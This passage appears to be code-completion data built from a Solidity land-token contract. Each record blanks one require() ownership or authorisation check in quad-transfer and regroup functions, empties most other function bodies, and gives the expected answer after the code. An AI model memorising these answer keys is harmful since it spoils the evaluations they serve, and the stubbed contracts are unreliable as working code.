/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
require(from != address(0), "from is zero address");
require(to != address(0), "can't send to zero address");
require(sizes.length == xs.length && xs.length == ys.length, "invalid data");
bool metaTx = msg.sender != from && _metaTransactionContracts[msg.sender];
if (msg.sender != from && !metaTx) {
require(
_superOperators[msg.sender] || _operatorsForAll[from][msg.sender],
"not authorized to transferMultiQuads"
);
}
uint256 numTokensTransfered = 0;
for (uint256 i = 0; i < sizes.length; i++) {
uint256 size = sizes[i];
_transferQuad(from, to, size, xs[i], ys[i]);
numTokensTransfered += size * size;
}
_numNFTPerAddress[from] -= numTokensTransfered;
_numNFTPerAddress[to] += numTokensTransfered;
if (to.isContract() && _checkInterfaceWith10000Gas(to, ERC721_MANDATORY_RECEIVER)) {
uint256[] memory ids = new uint256[](numTokensTransfered);
uint256 counter = 0;
for (uint256 j = 0; j < sizes.length; j++) {
uint256 size = sizes[j];
for (uint256 i = 0; i < size * size; i++) {
ids[counter] = _idInPath(i, size, xs[j], ys[j]);
counter++;
}
}
require(<FILL_ME>)
}
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _checkOnERC721BatchReceived(metaTx?from:msg.sender,from,to,ids,data),"erc721 batch transfer rejected by to" | 217,397 | _checkOnERC721BatchReceived(metaTx?from:msg.sender,from,to,ids,data) |
"not owner" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
uint256 owner = _owners[id];
if (owner != 0) {
require(<FILL_ME>)
_owners[id] = 0;
return true;
}
return false;
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| address(owner)==from,"not owner" | 217,397 | address(owner)==from |
"not owner of all sub quads nor parent quads" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
uint256 id = x + y * GRID_SIZE;
uint256 quadId = LAYER_3x3 + id;
bool ownerOfAll = true;
for (uint256 xi = x; xi < x + 3; xi++) {
for (uint256 yi = y; yi < y + 3; yi++) {
ownerOfAll = _checkAndClear(from, xi + yi * GRID_SIZE) && ownerOfAll;
}
}
if (set) {
if (!ownerOfAll) {
require(<FILL_ME>)
}
_owners[quadId] = uint256(to);
return true;
}
return ownerOfAll;
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[quadId]==uint256(from)||_owners[LAYER_6x6+(x/6)*6+((y/6)*6)*GRID_SIZE]==uint256(from)||_owners[LAYER_12x12+(x/12)*12+((y/12)*12)*GRID_SIZE]==uint256(from)||_owners[LAYER_24x24+(x/24)*24+((y/24)*24)*GRID_SIZE]==uint256(from),"not owner of all sub quads nor parent quads" | 217,397 | _owners[quadId]==uint256(from)||_owners[LAYER_6x6+(x/6)*6+((y/6)*6)*GRID_SIZE]==uint256(from)||_owners[LAYER_12x12+(x/12)*12+((y/12)*12)*GRID_SIZE]==uint256(from)||_owners[LAYER_24x24+(x/24)*24+((y/24)*24)*GRID_SIZE]==uint256(from) |
"not owner of all sub quads nor parent quads" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
uint256 id = x + y * GRID_SIZE;
uint256 quadId = LAYER_6x6 + id;
bool ownerOfAll = true;
for (uint256 xi = x; xi < x + 6; xi += 3) {
for (uint256 yi = y; yi < y + 6; yi += 3) {
bool ownAllIndividual = _regroup3x3(from, to, xi, yi, false);
uint256 id3x3 = LAYER_3x3 + xi + yi * GRID_SIZE;
uint256 owner3x3 = _owners[id3x3];
if (owner3x3 != 0) {
if (!ownAllIndividual) {
require(owner3x3 == uint256(from), "not owner of 3x3 quad");
}
_owners[id3x3] = 0;
}
ownerOfAll = (ownAllIndividual || owner3x3 != 0) && ownerOfAll;
}
}
if (set) {
if (!ownerOfAll) {
require(<FILL_ME>)
}
_owners[quadId] = uint256(to);
return true;
}
return ownerOfAll;
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[quadId]==uint256(from)||_owners[LAYER_12x12+(x/12)*12+((y/12)*12)*GRID_SIZE]==uint256(from)||_owners[LAYER_24x24+(x/24)*24+((y/24)*24)*GRID_SIZE]==uint256(from),"not owner of all sub quads nor parent quads" | 217,397 | _owners[quadId]==uint256(from)||_owners[LAYER_12x12+(x/12)*12+((y/12)*12)*GRID_SIZE]==uint256(from)||_owners[LAYER_24x24+(x/24)*24+((y/24)*24)*GRID_SIZE]==uint256(from) |
"not owner of all sub quads nor parent quads" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
uint256 id = x + y * GRID_SIZE;
uint256 quadId = LAYER_12x12 + id;
bool ownerOfAll = true;
for (uint256 xi = x; xi < x + 12; xi += 6) {
for (uint256 yi = y; yi < y + 12; yi += 6) {
bool ownAllIndividual = _regroup6x6(from, to, xi, yi, false);
uint256 id6x6 = LAYER_6x6 + xi + yi * GRID_SIZE;
uint256 owner6x6 = _owners[id6x6];
if (owner6x6 != 0) {
if (!ownAllIndividual) {
require(owner6x6 == uint256(from), "not owner of 6x6 quad");
}
_owners[id6x6] = 0;
}
ownerOfAll = (ownAllIndividual || owner6x6 != 0) && ownerOfAll;
}
}
if (set) {
if (!ownerOfAll) {
require(<FILL_ME>)
}
_owners[quadId] = uint256(to);
return true;
}
return ownerOfAll;
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[quadId]==uint256(from)||_owners[LAYER_24x24+(x/24)*24+((y/24)*24)*GRID_SIZE]==uint256(from),"not owner of all sub quads nor parent quads" | 217,397 | _owners[quadId]==uint256(from)||_owners[LAYER_24x24+(x/24)*24+((y/24)*24)*GRID_SIZE]==uint256(from) |
"not owner of all sub quads not parent quad" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
uint256 id = x + y * GRID_SIZE;
uint256 quadId = LAYER_24x24 + id;
bool ownerOfAll = true;
for (uint256 xi = x; xi < x + 24; xi += 12) {
for (uint256 yi = y; yi < y + 24; yi += 12) {
bool ownAllIndividual = _regroup12x12(from, to, xi, yi, false);
uint256 id12x12 = LAYER_12x12 + xi + yi * GRID_SIZE;
uint256 owner12x12 = _owners[id12x12];
if (owner12x12 != 0) {
if (!ownAllIndividual) {
require(owner12x12 == uint256(from), "not owner of 12x12 quad");
}
_owners[id12x12] = 0;
}
ownerOfAll = (ownAllIndividual || owner12x12 != 0) && ownerOfAll;
}
}
if (set) {
if (!ownerOfAll) {
require(<FILL_ME>)
}
_owners[quadId] = uint256(to);
return true;
}
return ownerOfAll || _owners[quadId] == uint256(from);
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[quadId]==uint256(from),"not owner of all sub quads not parent quad" | 217,397 | _owners[quadId]==uint256(from) |
"Invalid token id" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
